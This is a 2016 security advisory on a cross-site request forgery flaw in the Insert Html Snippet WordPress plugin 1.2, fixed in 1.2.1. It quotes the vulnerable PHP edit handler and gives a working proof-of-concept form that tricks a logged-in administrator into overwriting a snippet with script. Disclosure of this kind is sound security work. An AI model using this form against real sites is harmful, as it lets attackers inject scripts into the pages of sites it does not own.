WordPress Insert Html Snippet 1.2 Cross Site Request Forgery

2016.11.30
Credit: Yorick Koster
Risk: Low
Local: No
Remote: Yes
CVE: N/A
CWE: CWE-352

------------------------------------------------------------------------ Cross-Site Request Forgery in Insert Html Snippet WordPress Plugin ------------------------------------------------------------------------ Yorick Koster, July 2016 ------------------------------------------------------------------------ OVE ID ------------------------------------------------------------------------ OVE-20160724-0027 ------------------------------------------------------------------------ Abstract ------------------------------------------------------------------------ It was discovered that the Insert Html Snippet WordPress Plugin is vulnerable to Cross-Site Request Forgery. Amongst others, this issue can be used to update an existing HTML snippet. This can be used to insert arbitrary HTML and scripting code within a post or page that uses the snippet. In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. ------------------------------------------------------------------------ Tested versions ------------------------------------------------------------------------ This issue was successfully tested on Insert Html Snippet WordPress Plugin version 1.2. ------------------------------------------------------------------------ Fix ------------------------------------------------------------------------ This issue has been addressed in Insert Html Snippet version 1.2.1. ------------------------------------------------------------------------ Details ------------------------------------------------------------------------ https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_insert_html_snippet_wordpress_plugin.html This issue exists because Insert Html Snippet lacks protection against Cross-Site Request Forgery attacks. See for example the code that is used to edit a snippet. if(isset($_POST) && isset($_POST['updateSubmit'])){ // echo '<pre>'; // print_r($_POST); // die("JJJ"); $_POST = stripslashes_deep($_POST); $_POST = xyz_trim_deep($_POST); $xyz_ihs_snippetId = $_GET['snippetId']; $temp_xyz_ihs_title = str_replace(' ', '', $_POST['snippetTitle']); $temp_xyz_ihs_title = str_replace('-', '', $temp_xyz_ihs_title); $xyz_ihs_title = str_replace(' ', '-', $_POST['snippetTitle']); $xyz_ihs_content = $_POST['snippetContent']; if($xyz_ihs_title != "" && $xyz_ihs_content != ""){ if(ctype_alnum($temp_xyz_ihs_title)) { $snippet_count = $wpdb->query($wpdb->prepare( 'SELECT * FROM '.$wpdb->prefix.'xyz_ihs_short_code WHERE id!=%d AND title=%s LIMIT 0,1',$xyz_ihs_snippetId,$xyz_ihs_title)) ; if($snippet_count == 0){ $xyz_shortCode = '[xyz-ihs snippet="'.$xyz_ihs_title.'"]'; $wpdb->update($wpdb->prefix.'xyz_ihs_short_code', array('title'=>$xyz_ihs_title,'content'=>$xyz_ihs_content,'short_code'=>$xyz_shortCode,), array('id'=>$xyz_ihs_snippetId)); In order to exploit this issue, the attacker has to lure/force a logged on WordPress Administrator into opening a malicious website. Proof of concept <html> <body> <form action="http://<target>/wp-admin/admin.php?page=insert-html-snippet-manage&action=snippet-edit&snippetId=1&pageno=1" method="POST"> <input type="hidden" name="snippetId" value="1" /> <input type="hidden" name="snippetTitle" value="Fu" /> <input type="hidden" name="snippetContent" value="<script>alert(1);</script>" /> <input type="hidden" name="updateSubmit" value="Update" /> <input type="submit" value="Submit request" /> </form> </body> </html> ------------------------------------------------------------------------ Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its goal is to contribute to the security of popular, widely used OSS projects in a fun and educational way.


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